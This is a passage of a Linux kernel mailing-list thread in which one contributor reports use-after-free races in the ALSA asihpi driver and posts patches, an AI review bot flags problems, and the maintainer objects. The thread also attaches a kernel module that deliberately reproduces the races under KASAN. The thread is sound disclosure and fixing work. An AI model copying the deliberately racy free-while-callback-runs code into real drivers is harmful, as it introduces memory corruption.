> Free/quiesce the IRQ before `snd_card_free()` and before sending
> HPI_ADAPTER_DELETE:
>
> if (hpi->irq) {
> free_irq(hpi->irq, hpi);
> hpi->irq = 0;
> }
> snd_card_free(hpi->snd_card);
>
> Keep the existing `if (pa->irq)` guard in `asihpi_adapter_remove()` to avoid
> a double free. Alternatively set `card->sync_irq` and perform an explicit
> `synchronize_irq()` before releasing the card private data, but freeing the
> IRQ first is simpler and also covers the `phw` window.
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
2026-11-25 12:50 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:03 ` sashiko-bot
2026-11-25 14:43 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:03 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 4 potential
issues to consider:
- [High] ALSA: asihpi: missing Signed-off-by trailer in commit message
- [Medium] ALSA: asihpi: free_irq() before snd_card_disconnect() in
snd_asihpi_remove()
- [Low] ALSA: asihpi: missing Fixes trailer in bug-fix commit message
- [Low] ALSA: asihpi: free_irq() remains after HPI_ADAPTER_DELETE in
asihpi_adapter_remove()
--
commit 66e65e67203827236524ee91f5a02759ca055bf4
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
>
> snd_asihpi_remove() freed the ALSA card and then sent
> HPI_ADAPTER_DELETE (kfree()ing the HPI6205 phw) BEFORE free_irq():
> both the primary handler (adapter_irq_query_and_clear() reads
> phw->prHSR) and the threaded handler (snd_card_asihpi_isr() reads
> a->snd_card->private_data) could run against freed memory.
>
> free_irq() -- the first operation that waits for the in-flight
> primary and threaded handlers -- now runs before snd_card_free()
> and before HPI_ADAPTER_DELETE, with hpi->irq cleared so the existing
> if (pa->irq) guard in asihpi_adapter_remove() does not double-free
[Severity: High]
The commit message is missing a Signed-off-by: trailer, which is required by
the Developer's Certificate of Origin (Documentation/process/submitting-patches.rst).
[Severity: Low]
Since this fixes a use-after-free bug on device removal, should the commit
message include a Fixes: trailer (and a closing period on the last sentence):
Fixes: f9a376c3f6d7 ("ALSA: asihpi: Add support for stream interrupt.")
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> index b78e96caef9d0..e3d863c4bdc88 100644
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -2927,6 +2927,20 @@ static void snd_asihpi_remove(struct pci_dev *pci_dev)
> HPI_ADAPTER_PROPERTY_IRQ_RATE, 0, 0));
> }
>
> + /* Free/quiesce the IRQ before the card and the HPI adapter objects
> + * go away: free_irq() is the first (and only) operation that waits
> + * for the in-flight primary and threaded handlers. Afterwards
> + * snd_card_free() releases the card private area (read by
> + * snd_card_asihpi_isr() through a->snd_card->private_data) and
> + * asihpi_adapter_remove() sends HPI_ADAPTER_DELETE, which kfree()s
> + * the phw whose prHSR the primary handler dereferences through
> + * adapter_irq_query_and_clear(). asihpi_adapter_remove() keeps its
> + * if (pa->irq) guard, so this is not a double free_irq(). */
> + if (hpi->irq) {
> + free_irq(hpi->irq, hpi);
> + hpi->irq = 0;
> + }
> +
> snd_card_free(hpi->snd_card);
> hpi->snd_card = NULL;
> asihpi_adapter_remove(pci_dev);
[Severity: Medium]
Can a concurrent PCM trigger re-enable DSP interrupts on HPI6205 before
snd_card_free() disconnects the card, leaving the shared PCI INTx line
asserted after free_irq() removes asihpi_isr()?
CPU0 CPU1
snd_asihpi_remove()
hpi_adapter_set_property(...,
HPI_ADAPTER_PROPERTY_IRQ_RATE, 0, 0)
snd_card_asihpi_trigger()
snd_card_asihpi_pcm_int_start()
hpi_adapter_set_property(...,
HPI_ADAPTER_PROPERTY_IRQ_RATE,
card->update_interval_frames, 0)
free_irq(hpi->irq, hpi)
snd_card_free(hpi->snd_card)
snd_card_free_when_closed()
snd_card_disconnect()
wait_for_completion(&released) <-- DSP asserts C6205_HSR_INTSRC with
no handler to clear phw->prHSR
ALSA file operations remain active until snd_card_disconnect() runs inside
snd_card_free(). If a concurrent PCM start or pause-release trigger (or an
HPI_ADAPTER_SET_PROPERTY hwdep ioctl) sets HPI_ADAPTER_PROPERTY_IRQ_RATE back
to a non-zero value before snd_card_disconnect(), the DSP can assert the
shared level-triggered interrupt after free_irq() has unregistered
asihpi_isr(). Even after snd_card_disconnect() stops the stream by zeroing
HPI_ADAPTER_PROPERTY_IRQ_RATE, nothing clears C6205_HSR_INTSRC in phw->prHSR
while snd_card_free() waits for open descriptors to close, causing an
unhandled interrupt storm. Calling snd_card_disconnect(hpi->snd_card) before
disabling HPI_ADAPTER_PROPERTY_IRQ_RATE and calling free_irq() would stop
active streams and block new userspace operations while keeping
hpi->snd_card allocated until snd_card_free().
[Severity: Low]
Does clearing hpi->irq here leave the free_irq() call in
asihpi_adapter_remove() as dead code while keeping the broken teardown order
in asihpi_adapter_remove() itself?
sound/pci/asihpi/hpioctl.c:asihpi_adapter_remove() {
...
hpi_init_message_response(&hm, &hr, HPI_OBJ_ADAPTER,
HPI_ADAPTER_DELETE);
hm.adapter_index = pa->adapter->index;
hpi_send_recv_ex(&hm, &hr, HOWNER_KERNEL);
if (pa->irq)
free_irq(pa->irq, pa);
...
}
asihpi_adapter_probe() requests the IRQ, and asihpi_adapter_remove() is its
teardown counterpart, where HPI_ADAPTER_DELETE still runs before free_irq().
Removing the duplicate free_irq() from asihpi_adapter_remove() (or moving it
before HPI_ADAPTER_DELETE) would avoid leaving dead code and a latent
use-after-free trap for any direct caller of asihpi_adapter_remove().
--
Sashiko AI review · https://sashiko.dev/#/patchset/2c1d9b73.57c.1a212c1b142.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
2026-11-25 12:50 ` [PATCH] " 徐晗翔
2026-11-25 13:03 ` sashiko-bot
@ 2026-11-25 14:43 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:43 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:50:13 +0100,
徐晗翔 wrote:
>
> snd_asihpi_remove() freed the ALSA card and then sent
> HPI_ADAPTER_DELETE (kfree()ing the HPI6205 phw) BEFORE free_irq():
> both the primary handler (adapter_irq_query_and_clear() reads
> phw->prHSR) and the threaded handler (snd_card_asihpi_isr() reads
> a->snd_card->private_data) could run against freed memory.
>
> free_irq() -- the first operation that waits for the in-flight
> primary and threaded handlers -- now runs before snd_card_free()
> and before HPI_ADAPTER_DELETE, with hpi->irq cleared so the existing
> if (pa->irq) guard in asihpi_adapter_remove() does not double-free
This sounds like a wrong solution and likely breaking something.
HPI_ADAPTER_DELETE is a command that has to be sent to a board.
IOW, what should be fixed is rather the order of the call in
snd_asihpi_remove(). asihpi_adapter_remove() should be called at
first, followed by snd_card_free(). But maybe for synchronization, we
should call snd_card_disconnect(), sync, then remove the resources.
thanks,
Takashi
> ---
> sound/pci/asihpi/asihpi.c | 14 ++++++++++++++
> 1 file changed, 14 insertions(+)
>
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -2927,6 +2927,20 @@
> HPI_ADAPTER_PROPERTY_IRQ_RATE, 0, 0));
> }
>
> + /* Free/quiesce the IRQ before the card and the HPI adapter objects
> + * go away: free_irq() is the first (and only) operation that waits
> + * for the in-flight primary and threaded handlers. Afterwards
> + * snd_card_free() releases the card private area (read by
> + * snd_card_asihpi_isr() through a->snd_card->private_data) and
> + * asihpi_adapter_remove() sends HPI_ADAPTER_DELETE, which kfree()s
> + * the phw whose prHSR the primary handler dereferences through
> + * adapter_irq_query_and_clear(). asihpi_adapter_remove() keeps its
> + * if (pa->irq) guard, so this is not a double free_irq(). */
> + if (hpi->irq) {
> + free_irq(hpi->irq, hpi);
> + hpi->irq = 0;
> + }
> +
> snd_card_free(hpi->snd_card);
> hpi->snd_card = NULL;
> asihpi_adapter_remove(pci_dev);
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-13 20:04:48 (星期五)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
> >
> > `snd_asihpi_remove()` frees the ALSA card and then sends HPI_ADAPTER_DELETE
> > (which frees the HPI6205 `phw`) before `free_irq()`. Both the primary IRQ
> > handler and the threaded handler can therefore run against freed memory:
> > the primary handler dereferences `phw->prHSR` through
> > `adapter_irq_query_and_clear()`, and the threaded callback dereferences
> > `a->snd_card->private_data` after the card private area has been freed.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0 source tree. Affected hardware path: ASI6205/HPI6205 in
> > interrupt mode (`low_latency_mode && irq_supported`, `interrupt_mode=1`).
> > HPI6000 does not set `irq_query_and_clear` and is polled, so it is not part
> > of this report.
> >
> > * Mechanism
> >
> > `snd_asihpi_remove()` (`sound/pci/asihpi/asihpi.c:2919-2933`):
> >
> > hpi->interrupt_callback = NULL; /* if interrupt_mode */
> > ... send HPI IRQ rate 0 ...
> > snd_card_free(hpi->snd_card); /* line 2930 */
> > hpi->snd_card = NULL; /* line 2931 */
> > asihpi_adapter_remove(pci_dev); /* line 2932 */
> >
> > `asihpi_adapter_remove()` (`hpioctl.c:520-555`) then sends IRQ rate 0,
> > sends `HPI_ADAPTER_DELETE` (537-540), and only afterwards calls
> > `free_irq(pa->irq, pa)` (542-543).
> >
> > HPI6205 `adapter_delete()` (`hpi6205.c:491-510`) -> `delete_adapter_obj()`
> > (`hpi6205.c:675-704`) does `kfree(phw)` at 703 without clearing
> > `pao->priv`, then `hpi_delete_adapter()` (`hpicmn.c:96-108`) memsets the
> > registry object at 106. The primary handler `asihpi_isr()`
> > (`hpioctl.c:311-335`) checks `a->adapter->irq_query_and_clear` and calls
> > it; HPI6205 installs that handler at `hpi6205.c:662`, and
> > `adapter_irq_query_and_clear()` (`hpi6205.c:708-722`) does
> > `ioread32(phw->prHSR)` at 714.
> >
> > Window A (phw UAF): the handler loads the function pointer before
> > `delete_adapter_obj()` frees `phw`, and executes after the free.
> >
> > Window B (NULL deref): the handler executes after `hpi_delete_adapter()`
> > memsets the registry, so `pao->priv` is NULL and `phw->prHSR` is a NULL
> > dereference.
> >
> > Window C (card private UAF): `asihpi_isr_thread()` (`hpioctl.c:337-344`)
> > calls `a->interrupt_callback(a)`; `snd_card_asihpi_isr()`
> > (`asihpi.c:898-907`) reads `a->snd_card->private_data` and
> > `asihpi->llmode_streampriv`. The card private area is allocated by
> > `snd_card_new(..., sizeof(struct snd_card_asihpi), ...)`
> > (`asihpi.c:2794-2799`) and freed by `snd_card_do_free()`
> > (`sound/core/init.c:584-611`, `kfree(card)` at 610). After
> > `hpi->snd_card = NULL`, the same callback can also return NULL from the
> > `snd_card` load and hit the WARN_ON/NULL path.
> >
> > * Why existing synchronization does not close the window
> >
> > asihpi never sets `card->sync_irq`, so `snd_card_disconnect()` does not call
> > `synchronize_irq()`. `snd_card_free()` waits for open files and the card
> > release completion, not for the IRQ handler/thread. `free_irq()` is the
> > first operation that quiesces the IRQ, and it happens after `snd_card_free()`
> > and after HPI_ADAPTER_DELETE has freed `phw`.
> >
> > * Trigger model
> >
> > HPI6205 device in IRQ mode; remove/unbind the PCI device. Root is needed
> > for unbind/remove. Consequence: UAF/NULL deref in hard IRQ or threaded IRQ
> > context; crash or memory corruption. The report does not claim a
> > concurrent user ioctl path: the card file drain prevents that, and only the
> > single remove path sends HPI_ADAPTER_DELETE.
> >
> > * Suggested direction
> >
> > Free/quiesce the IRQ before `snd_card_free()` and before sending
> > HPI_ADAPTER_DELETE:
> >
> > if (hpi->irq) {
> > free_irq(hpi->irq, hpi);
> > hpi->irq = 0;
> > }
> > snd_card_free(hpi->snd_card);
> >
> > Keep the existing `if (pa->irq)` guard in `asihpi_adapter_remove()` to avoid
> > a double free. Alternatively set `card->sync_irq` and perform an explicit
> > `synchronize_irq()` before releasing the card private data, but freeing the
> > IRQ first is simpler and also covers the `phw` window.
> >
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (2 preceding siblings ...)
2026-11-13 12:04 ` ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF) 徐晗翔
@ 2026-11-13 12:06 ` 徐晗翔
2026-11-25 12:50 ` [PATCH] " 徐晗翔
2026-11-13 12:15 ` ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF) 徐晗翔
` (37 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:06 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 3582 bytes --]
`snd_card_asihpi_runtime_free()` frees the per-open `struct
snd_card_asihpi_pcm` while a polled timer callback or an IRQ/threaded handler
can still use it. The polled stop path uses `timer_delete()` (not
`timer_delete_sync()`), and the IRQ stop path clears
`card->llmode_streampriv` without `synchronize_irq()`. A normal PCM close can
therefore free `dpcm` and then `runtime` while the callback is still running.
The detailed description:
* Test environment / affected version
Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
was available; the harness validates the ALSA core close ordering and the
exact `timer_delete`/`llmode_streampriv` lifetime pattern.
* Mechanism
`snd_card_asihpi_runtime_free()` (`asihpi.c:495-499`) does `kfree(dpcm)` and
is installed as `runtime->private_free` at playback open
(`asihpi.c:997-1000`) and capture open (`1166-1169`).
Polled mode:
snd_card_asihpi_pcm_timer_start() asihpi.c:501-513
mod_timer(&dpcm->timer, jiffies + expiry);
dpcm->respawn_timer = 1;
snd_card_asihpi_pcm_timer_stop() asihpi.c:515-522
dpcm->respawn_timer = 0;
timer_delete(&dpcm->timer); /* no sync */
`snd_card_asihpi_timer_function()` (`asihpi.c:710-896`) uses `dpcm`
throughout and can re-arm at 894-895 if it observes `respawn_timer`.
IRQ mode:
snd_card_asihpi_pcm_int_start() asihpi.c:524-538
card->llmode_streampriv = dpcm;
... set HPI IRQ rate ...
snd_card_asihpi_pcm_int_stop() asihpi.c:540-550
... set HPI IRQ rate 0 ...
card->llmode_streampriv = NULL; /* no synchronize_irq */
`snd_card_asihpi_isr()` (`asihpi.c:898-907`) reads
`asihpi->llmode_streampriv` twice (check, then dereference), so a threaded
handler can hold the old `dpcm` pointer across the NULL store.
Close path: `snd_pcm_release_substream()`
(`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()`
(`pcm_native.c:2267-2289`) -> `snd_pcm_detach_substream()`
(`sound/core/pcm.c:978-1005`) -> `runtime->private_free()` -> `kfree(dpcm)`
and then `kfree(runtime)`.
* Trigger model
Local user opens a capture or playback PCM, starts it, and closes it while
the polled timer or HPI IRQ is active. Polled mode is available on HPI6000
and HPI6205; IRQ mode requires HPI6205 in interrupt mode. SMP/preemption
needed for the cross-CPU window. Consequence: UAF of `dpcm`/`runtime` in
timer softirq or threaded IRQ; crash or memory corruption.
* Dynamic evidence
`sndpci_race.c` mode `pcm`, `verification/kmod/
sndpci/pcmtest.c close 200`: `.trigger STOP` uses `timer_delete()` and
`runtime->private_free` frees `dpcm`; timer pinned to CPU0, user close to
CPU1. Contain 35 KASAN UAF report fragments:
BUG: KASAN: slab-use-after-free in race_pcm_timer
...
Allocated by task: race_pcm_open
Freed by task: kfree -> snd_pcm_detach_substream -> snd_pcm_release
* Suggested direction
In `snd_card_asihpi_runtime_free()` (or immediately before it), for polled
mode call `timer_shutdown_sync(&dpcm->timer)`. For IRQ mode, first clear
`card->llmode_streampriv` (with the appropriate ordering), then
`synchronize_irq(card->hpi->irq)` before `kfree(dpcm)`. Do not put the
sleeping sync inside the PCM stream lock; do it in the detach/private_free
process context. Also consider quiescing before the HPI stream `.close`
(the extra HPI stream handle window is discussed in the report).
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndpci_race.c --]
[-- Type: text/plain, Size: 9729 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sndpci_race.c - minimal ALSA/kernel lifetime-race reproducers for the
* sound/pci manual-review cases V3/V4/V5.
*
* The module deliberately reproduces the *lifetime patterns* used by
* ctxfi/asihpi, using only exported ALSA core and timer APIs. It is not a
* ctxfi/asihpi emulator: those drivers need hardware that this QEMU does not
* provide. The purpose is to test whether the core/API windows identified in
* the report are real on an instrumented KASAN kernel.
*
* modes:
* v3 - timer_delete_sync_try() returns -1 while the callback runs on
* another CPU; free the object anyway (ctxfi system-timer pattern).
* pcm - create a fake ALSA card with two playback substreams. The guest
* program pcmtest then exercises close (V4) or link+close (V5).
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/cpumask.h>
#include <linux/sched.h>
#include <linux/container_of.h>
#include <linux/string.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#define DRV "sndpci_race"
#define COOKIE 0x5a5a1234deadbeefULL
static char *mode = "pcm";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
MODULE_PARM_DESC(mode, "v3 or pcm");
/* ------------------------------------------------------------------ */
/* V3: timer_delete_sync_try() ignored -1 */
/* ------------------------------------------------------------------ */
struct v3_obj {
struct timer_list timer;
u64 cookie;
struct task_struct *thread;
};
static void v3_callback(struct timer_list *t)
{
struct v3_obj *v = container_of(t, struct v3_obj, timer);
/* Keep the callback alive long enough for the freeing CPU to run. */
mdelay(20);
pr_info(DRV ": v3 callback cookie=%#llx\n", v->cookie);
/* Second read after the delay: the object may already be freed. */
if (v->cookie == COOKIE)
pr_info(DRV ": v3 callback read-after-free survived\n");
}
static int v3_thread(void *arg)
{
struct v3_obj *v;
int i, ret;
for (i = 0; i < 8; i++) {
v = kzalloc(sizeof(*v), GFP_KERNEL);
if (!v)
return -ENOMEM;
v->cookie = COOKIE;
timer_setup(&v->timer, v3_callback, 0);
/* Pin the callback to CPU0; this thread runs on CPU1. */
add_timer_on(&v->timer, 0);
usleep_range(2000, 3000);
ret = timer_delete_sync_try(&v->timer);
pr_info(DRV ": v3 iter=%d delete_sync_try=%d\n", i, ret);
if (ret == -1) {
/* BUG: callback is running on CPU0; free it anyway. */
if (safe)
timer_delete_sync(&v->timer);
kfree(v);
} else {
timer_delete_sync(&v->timer);
kfree(v);
}
usleep_range(60000, 70000);
}
pr_info(DRV ": v3 done\n");
return 0;
}
/* ------------------------------------------------------------------ */
/* V4/V5: fake ALSA PCM with a driver-private dpcm and a timer */
/* ------------------------------------------------------------------ */
struct race_pcm {
struct timer_list timer;
struct snd_pcm_substream *substream;
u64 cookie;
bool respawn;
bool active;
};
static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;
static void race_pcm_timer(struct timer_list *t)
{
struct race_pcm *dpcm = container_of(t, struct race_pcm, timer);
struct snd_pcm_substream *s;
struct snd_pcm_runtime *victim_rt = NULL;
u64 cookie;
if (!dpcm->active)
return;
pr_info(DRV ": timer start dpcm=%px\n", dpcm);
/*
* V5 pattern: walk the link group without the group lock and read
* each member's runtime/private_data. V4 uses the same callback for
* the current stream; the delay widens the close/free window.
*/
cookie = dpcm->cookie;
if (cookie == COOKIE && dpcm->substream && dpcm->substream->runtime) {
snd_pcm_group_for_each_entry(s, dpcm->substream) {
struct snd_pcm_runtime *rt = READ_ONCE(s->runtime);
struct race_pcm *d = NULL;
if (rt)
d = READ_ONCE(rt->private_data);
if (d && d->cookie == COOKIE) {
/* Force the compiler to keep the load. */
barrier();
}
if (rt) {
(void)READ_ONCE(rt->dma_area);
if (s != dpcm->substream && !victim_rt)
victim_rt = rt;
}
/* A real driver also reports elapsed periods. */
if (rt)
snd_pcm_period_elapsed(s);
}
}
/* Widen the window between the callback's load and the free. */
mdelay(20);
if (victim_rt) {
struct race_pcm *d = READ_ONCE(victim_rt->private_data);
pr_info(DRV ": victim use rt=%px d=%px\n", victim_rt, d);
(void)READ_ONCE(victim_rt->dma_area);
}
pr_info(DRV ": timer end dpcm=%px\n", dpcm);
if (dpcm->respawn) {
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
}
}
static void race_pcm_free(struct snd_pcm_runtime *runtime)
{
struct race_pcm *dpcm = runtime->private_data;
pr_info(DRV ": pcm private_free dpcm=%px\n", dpcm);
if (safe)
timer_shutdown_sync(&dpcm->timer);
kfree(dpcm);
}
static int race_pcm_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *dpcm;
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
if (!dpcm)
return -ENOMEM;
dpcm->substream = substream;
dpcm->cookie = COOKIE;
timer_setup(&dpcm->timer, race_pcm_timer, 0);
runtime->private_data = dpcm;
runtime->private_free = race_pcm_free;
runtime->hw.info = SNDRV_PCM_INFO_MMAP |
SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_MMAP_VALID;
runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
runtime->hw.rates = SNDRV_PCM_RATE_44100;
runtime->hw.rate_min = 44100;
runtime->hw.rate_max = 44100;
runtime->hw.channels_min = 2;
runtime->hw.channels_max = 2;
runtime->hw.buffer_bytes_max = 64 * 1024;
runtime->hw.period_bytes_min = 1024;
runtime->hw.period_bytes_max = 4096;
runtime->hw.periods_min = 2;
runtime->hw.periods_max = 8;
pr_info(DRV ": pcm open sub=%px dpcm=%px\n", substream, dpcm);
return 0;
}
static int race_pcm_close(struct snd_pcm_substream *substream)
{
pr_info(DRV ": pcm .close sub=%px\n", substream);
return 0;
}
static int race_pcm_ioctl(struct snd_pcm_substream *substream,
unsigned int cmd, void *arg)
{
pr_info(DRV ": pcm ioctl cmd=%u\n", cmd);
return snd_pcm_lib_ioctl(substream, cmd, arg);
}
static int race_pcm_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params)
{
pr_info(DRV ": hw_params rate=%u ch=%u fmt=%u period_bytes=%u buffer_bytes=%u\n",
params_rate(params), params_channels(params), params_format(params),
params_period_bytes(params), params_buffer_bytes(params));
return 0;
}
static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
return 0;
}
static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct race_pcm *dpcm = substream->runtime->private_data;
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
if (substream != race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream)
break;
dpcm->active = true;
dpcm->respawn = true;
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
dpcm->active = false;
dpcm->respawn = false;
/* Deliberately not timer_delete_sync(): mirrors asihpi. */
timer_delete(&dpcm->timer);
break;
}
return 0;
}
static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
return 0;
}
static const struct snd_pcm_ops race_pcm_ops = {
.open = race_pcm_open,
.close = race_pcm_close,
.ioctl = race_pcm_ioctl,
.hw_params = race_pcm_hw_params,
.prepare = race_pcm_prepare,
.trigger = race_pcm_trigger,
.pointer = race_pcm_pointer,
};
static int __init sndpci_init(void)
{
struct task_struct *t;
int ret;
pr_info(DRV ": init mode=%s\n", mode);
if (!strcmp(mode, "v3")) {
t = kthread_create(v3_thread, NULL, "sndpci_v3");
if (IS_ERR(t))
return PTR_ERR(t);
kthread_bind(t, 1);
wake_up_process(t);
return 0;
}
race_pdev = platform_device_register_simple("sndpci_race", -1, NULL, 0);
if (IS_ERR(race_pdev))
return PTR_ERR(race_pdev);
ret = snd_card_new(&race_pdev->dev, 0, "SndPciRace", THIS_MODULE, 0, &race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_new failed: %d\n", ret);
return ret;
}
ret = snd_pcm_new(race_card, "SndPciRace", 0, 0, 2, &race_pcm_dev);
if (ret < 0) {
pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE,
&race_pcm_ops);
snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev, SNDRV_DMA_TYPE_CONTINUOUS,
NULL, 64 * 1024, 64 * 1024);
ret = 0;
pr_info(DRV ": managed_buffer ret=%d dma_type=%d area=%px bytes=%zu\n", ret,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.dev.type,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.area,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.bytes);
ret = snd_card_register(race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_register failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
pr_info(DRV ": card registered\n");
return 0;
}
static void __exit sndpci_exit(void)
{
pr_info(DRV ": exit\n");
if (race_card)
snd_card_free(race_card);
if (race_pdev)
platform_device_unregister(race_pdev);
}
module_init(sndpci_init);
module_exit(sndpci_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/pci lifetime-race reproducer (V3/V4/V5)");
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
2026-11-13 12:06 ` ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF) 徐晗翔
@ 2026-11-25 12:50 ` 徐晗翔
2026-11-25 13:06 ` sashiko-bot
2026-11-25 14:46 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:50 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_card_asihpi_runtime_free() kfree()d the per-open
snd_card_asihpi_pcm while a polled timer callback or an
IRQ/threaded handler could still use it: the polled stop path uses
plain timer_delete() (no wait for a running callback), and the IRQ
stop path clears card->llmode_streampriv with a plain store and no
synchronize_irq().
Quiesce in runtime->private_free, which runs in process context from
snd_pcm_detach_substream() outside the PCM stream lock (so the
sleeping sync calls are allowed there): timer_shutdown_sync() for
the polled timer; for IRQ mode, clear card->llmode_streampriv and
synchronize_irq(card->hpi->irq) before the kfree(dpcm).
---
sound/pci/asihpi/asihpi.c | 23 +++++++++++++++++++++++
1 file changed, 23 insertions(+)
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -495,6 +495,29 @@
static void snd_card_asihpi_runtime_free(struct snd_pcm_runtime *runtime)
{
struct snd_card_asihpi_pcm *dpcm = runtime->private_data;
+ struct snd_card_asihpi *card = snd_pcm_substream_chip(dpcm->substream);
+
+ /* Quiesce the polled timer and the low-latency IRQ stream before
+ * the memory goes away. This runs in process context from
+ * snd_pcm_detach_substream(), outside the PCM stream lock, so the
+ * sleeping sync calls are allowed here (they must NOT be put into
+ * the trigger/stop path under the stream lock).
+ *
+ * Polled mode: snd_card_asihpi_pcm_timer_stop() uses plain
+ * timer_delete(), which does not wait for a callback that is
+ * already running on another CPU -- the callback dereferences dpcm
+ * throughout and re-arms itself if it observes respawn_timer set.
+ *
+ * IRQ mode: card->llmode_streampriv is cleared with a plain store
+ * by snd_card_asihpi_pcm_int_stop(); the threaded handler may
+ * already have loaded the pointer, so synchronize the IRQ line
+ * after clearing before the kfree(). */
+ timer_shutdown_sync(&dpcm->timer);
+ if (card->llmode_streampriv == dpcm) {
+ card->llmode_streampriv = NULL;
+ if (card->hpi->irq)
+ synchronize_irq(card->hpi->irq);
+ }
kfree(dpcm);
}
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:06:38 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
>
> `snd_card_asihpi_runtime_free()` frees the per-open `struct
> snd_card_asihpi_pcm` while a polled timer callback or an IRQ/threaded handler
> can still use it. The polled stop path uses `timer_delete()` (not
> `timer_delete_sync()`), and the IRQ stop path clears
> `card->llmode_streampriv` without `synchronize_irq()`. A normal PCM close can
